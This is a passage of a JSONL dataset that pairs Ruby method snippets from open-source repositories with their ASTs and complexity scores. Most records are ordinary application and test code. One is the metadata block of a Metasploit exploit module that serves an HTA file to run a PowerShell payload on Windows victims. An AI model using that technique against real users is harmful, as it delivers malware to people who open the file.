1\"]}]},\"reorder\",{\"type\":\"str\",\"children\":[\"\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"promotion_id\"]},{\"type\":\"sym\",\"children\":[\"order_id\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duplicates\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"duplicate_promotion_id\"]},{\"type\":\"arg\",\"children\":[\"duplicate_order_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"order_promotions\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"OrderPromotion\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"promotion_id\"]},{\"type\":\"lvar\",\"children\":[\"duplicate_promotion_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order_id\"]},{\"type\":\"lvar\",\"children\":[\"duplicate_order_id\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order_promotions\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"order_promotion\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order_promotion\"]},\"destroy\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"spree_order_promotions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"promotion_id\"]},{\"type\":\"sym\",\"children\":[\"order_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_spree_order_promotions_on_promotion_id_and_order_id\"]}]}]}]}]}]}","id":"916b33c1-616d-4be1-a565-8f5c1e185c3a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/data_sync/handlers/copy_data_handler.rb","start_line":75,"raw_source":"def service_desk_reply_to\n          return unless target_namespace.respond_to?(:project) # only for ProjectNamespace\n\n          ::ServiceDesk::Emails.new(target_namespace.project).alias_address\n        end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"service_desk_reply_to\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_namespace\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"project\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ServiceDesk\"]},\"Emails\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_namespace\"]},\"project\"]}]},\"alias_address\"]}]}]}","id":"2d68f7cf-fe2b-424e-9edf-0a1c0fb47181"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/nested_attributes_test.rb","start_line":507,"raw_source":"def test_should_modify_an_existing_record_if_there_is_a_matching_id\n    @ship.reload.pirate_attributes = { id: @pirate.id, catchphrase: \"Arr\" }\n\n    assert_equal @pirate, @ship.pirate\n    assert_equal \"Arr\", @ship.pirate.catchphrase\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_modify_an_existing_record_if_there_is_a_matching_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ship\"]},\"reload\"]},\"pirate_attributes=\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"catchphrase\"]},{\"type\":\"str\",\"children\":[\"Arr\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@pirate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ship\"]},\"pirate\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Arr\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ship\"]},\"pirate\"]},\"catchphrase\"]}]}]}]}","id":"eb405b23-07c3-4f29-a0c4-050654cc7e17"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/pages/delete_pages_deployment_worker.rb","start_line":11,"raw_source":"def handle_event(event)\n      project = Project.find_by_id(event.data['project_id'])\n      return unless project\n\n      user = project.owner\n      return unless user\n\n      ::Pages::DeleteService.new(project, user).execute\n    end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find_by_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"project_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"owner\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Pages\"]},\"DeleteService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"execute\"]}]}]}","id":"2e678dff-d4b5-49ac-b14b-2b2cdd80b4ea"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/assert_select_email_test.rb","start_line":100,"raw_source":"def test_assert_part_last_mail_delivery\n    AssertMultipartSelectMailer.test(html: \"<div><p>foo</p><p>bar</p></div>\", text: \"foo bar\").deliver_now\n\n    assert_part :text do |text|\n      assert_includes text, \"foo bar\"\n    end\n    assert_part :html do |html|\n      assert_kind_of Rails::Dom::Testing.html_document, html\n\n      assert_dom html, \"div\" do\n        assert_dom \"p:first-child\", \"foo\"\n        assert_dom \"p:last-child\", \"bar\"\n      end\n    end\n  end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_part_last_mail_delivery\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssertMultipartSelectMailer\"]},\"test\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"str\",\"children\":[\"<div><p>foo</p><p>bar</p></div>\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"foo bar\"]}]}]}]},\"deliver_now\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_part\",{\"type\":\"sym\",\"children\":[\"text\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"foo bar\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_part\",{\"type\":\"sym\",\"children\":[\"html\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"html\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"Dom\"]},\"Testing\"]},\"html_document\"]},{\"type\":\"lvar\",\"children\":[\"html\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_dom\",{\"type\":\"lvar\",\"children\":[\"html\"]},{\"type\":\"str\",\"children\":[\"div\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_dom\",{\"type\":\"str\",\"children\":[\"p:first-child\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom\",{\"type\":\"str\",\"children\":[\"p:last-child\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]}]}]}]}]}]}","id":"4bb1e9f8-a373-4142-b6a8-a6a033945b1d"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/components/composer.rb","start_line":66,"raw_source":"def emphasized_text_shortcut\n          input.click\n          input.send_keys([PLATFORM_KEY_MODIFIER, \"i\"])\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"emphasized_text_shortcut\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input\"]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input\"]},\"send_keys\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PLATFORM_KEY_MODIFIER\"]},{\"type\":\"str\",\"children\":[\"i\"]}]}]}]}]}","id":"04784d0b-fb44-41c2-8591-6e44f5ea56bc"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/test_parser.rb","start_line":30,"raw_source":"def ensure_file_valid!\n      format_version = self.raw_json[\"FormatVersion\"]\n      supported_versions = [\"1.1\", \"1.2\"]\n      UI.user_error!(\"Format version '#{format_version}' is not supported, must be #{supported_versions.join(', ')}\") unless supported_versions.include?(format_version)\n    end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_file_valid!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"format_version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"raw_json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FormatVersion\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"supported_versions\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"1.1\"]},{\"type\":\"str\",\"children\":[\"1.2\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"supported_versions\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"format_version\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Format version '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format_version\"]}]},{\"type\":\"str\",\"children\":[\"' is not supported, must be \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"supported_versions\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}]}]}","id":"6fe95396-89c7-4a60-bec9-4c8abf60a0e1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240806065239_add_async_fk_upstream_pipeline_id_for_p_ci_builds.rb","start_line":33,"raw_source":"def down\n    unprepare_partitioned_async_foreign_key_validation(SOURCE_TABLE_NAME, [PARTITION_COLUMN, COLUMN], name: FK_NAME)\n\n    Gitlab::Database::PostgresPartitionedTable.each_partition(SOURCE_TABLE_NAME) do |partition|\n      with_lock_retries do\n        remove_foreign_key_if_exists(\n          partition.identifier,\n          TARGET_TABLE_NAME,\n          name: FK_NAME,\n          reverse_lock_order: true\n        )\n      end\n    end\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unprepare_partitioned_async_foreign_key_validation\",{\"type\":\"const\",\"children\":[null,\"SOURCE_TABLE_NAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PARTITION_COLUMN\"]},{\"type\":\"const\",\"children\":[null,\"COLUMN\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FK_NAME\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"PostgresPartitionedTable\"]},\"each_partition\",{\"type\":\"const\",\"children\":[null,\"SOURCE_TABLE_NAME\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partition\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition\"]},\"identifier\"]},{\"type\":\"const\",\"children\":[null,\"TARGET_TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FK_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}","id":"fc0bd5ad-e077-4a13-9b48-5b8ff9486537"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_dev.rb","start_line":4,"raw_source":"def self.config\n    @config ||= Config.new\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Config\"]},\"new\"]}]}]}","id":"bf0341bd-d12c-4e7a-ac5e-54b1f51cafbc"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/sole_nested_conditional.rb","start_line":89,"raw_source":"def offending_branch?(node, branch)\n          return false unless branch\n\n          branch.if_type? &&\n            !branch.else? &&\n            !branch.ternary? &&\n            !((node.modifier_form? || branch.modifier_form?) && allow_modifier?)\n        end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"offending_branch?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"branch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},\"if_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},\"else?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},\"ternary?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"modifier_form?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},\"modifier_form?\"]}]}]},{\"type\":\"send\",\"children\":[null,\"allow_modifier?\"]}]}]},\"!\"]}]}]}]}","id":"72c79203-27f0-4674-877f-b69d1ce6653e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeback_rate.rb","start_line":67,"raw_source":"def self.unassign_rate_assignments(type, cb_rates)\n    validate_rate_type(type)\n\n    cb_rates.each do |rate|\n      rate[:cb_rate].unassign_objects(rate[:object]) if rate.key?(:object)\n      rate[:cb_rate].unassign_tags(*rate[:tag])      if rate.key?(:tag)\n      rate[:cb_rate].unassign_labels(*rate[:label])  if rate.key?(:label)\n    end\n  end","complexity_score":23.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"unassign_rate_assignments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"cb_rates\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_rate_type\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cb_rates\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rate\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rate\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rate\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cb_rate\"]}]},\"unassign_objects\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rate\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"object\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rate\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"tag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rate\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cb_rate\"]}]},\"unassign_tags\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rate\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rate\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"label\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rate\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cb_rate\"]}]},\"unassign_labels\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rate\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"label\"]}]}]}]},null]}]}]}]}]}","id":"c1b78e55-9983-4092-9354-2eea70ca7fe9"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/timer_button.rb","start_line":38,"raw_source":"def expect_active\n        expect(page).to have_css('[data-test-selector=\"timer-active\"]', wait: 10)\n      end","complexity_score":5.15,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_active\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"timer-active\\\"]\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]}","id":"15691d09-3334-463e-a458-36bc673ffff8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/hta_server.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'HTA Web Server',\n        'Description' => %q{\n          This module hosts an HTML Application (HTA) that when opened will run a\n          payload via Powershell. When a user navigates to the HTA file they will\n          be prompted by IE twice before the payload is executed.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => 'Spencer McIntyre',\n        'References' => [\n          ['URL', 'https://www.trustedsec.com/july-2015/malicious-htas/']\n        ],\n        # space is restricted by the powershell command limit\n        'Payload' => { 'DisableNops' => true, 'Space' => 2048 },\n        'Platform' => %w(win),\n        'Targets' => [\n          [ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ],\n          [ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X64 } ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2016-10-06',\n        'Notes' => {\n          'SideEffects' => [ SCREEN_EFFECTS ],\n          'Stability' => [ CRASH_SAFE ],\n          'Reliability' => UNKNOWN_RELIABILITY,\n        }\n      )\n    )\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"HTA Web Server\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module hosts an HTML Application (HTA) that when opened will run a\\n\"]},{\"type\":\"str\",\"children\":[\"          payload via Powershell. When a user navigates to the HTA file they will\\n\"]},{\"type\":\"str\",\"children\":[\"          be prompted by IE twice before the payload is executed.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"Spencer McIntyre\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.trustedsec.com/july-2015/malicious-htas/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[2048]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Powershell x86\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Powershell x64\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2016-10-06\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SCREEN_EFFECTS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]}]}]}]}]}]}]}","id":"53c59f65-585e-42c7-9d98-522d86223523"}
{"repo_name":"forem","file_path":"./repos/forem/app/queries/homepage/articles_query.rb","start_line":90,"raw_source":"def paginate\n      relation.page(page).per(per_page)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"paginate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relation\"]},\"page\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"per\",{\"type\":\"send\",\"children\":[null,\"per_page\"]}]}]}","id":"f55cc76d-d442-45e0-8b50-a2a7ce3fb2b9"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/phpbb3/importers/importer_factory.rb","start_line":57,"raw_source":"def permalink_importer\n      @permalink_importer ||= PermalinkImporter.new(@settings.permalinks)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"permalink_importer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@permalink_importer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PermalinkImporter\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@settings\"]},\"permalinks\"]}]}]}]}","id":"65444299-cd99-49b1-bf6f-d7fac1da94f2"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/policies_controller.rb","start_line":10,"raw_source":"def collection\n        model_class.accessible_by(current_ability, :manage)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"collection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_class\"]},\"accessible_by\",{\"type\":\"send\",\"children\":[null,\"current_ability\"]},{\"type\":\"sym\",\"children\":[\"manage\"]}]}]}","id":"7e40c44b-302b-48d9-9765-9a408b061653"}
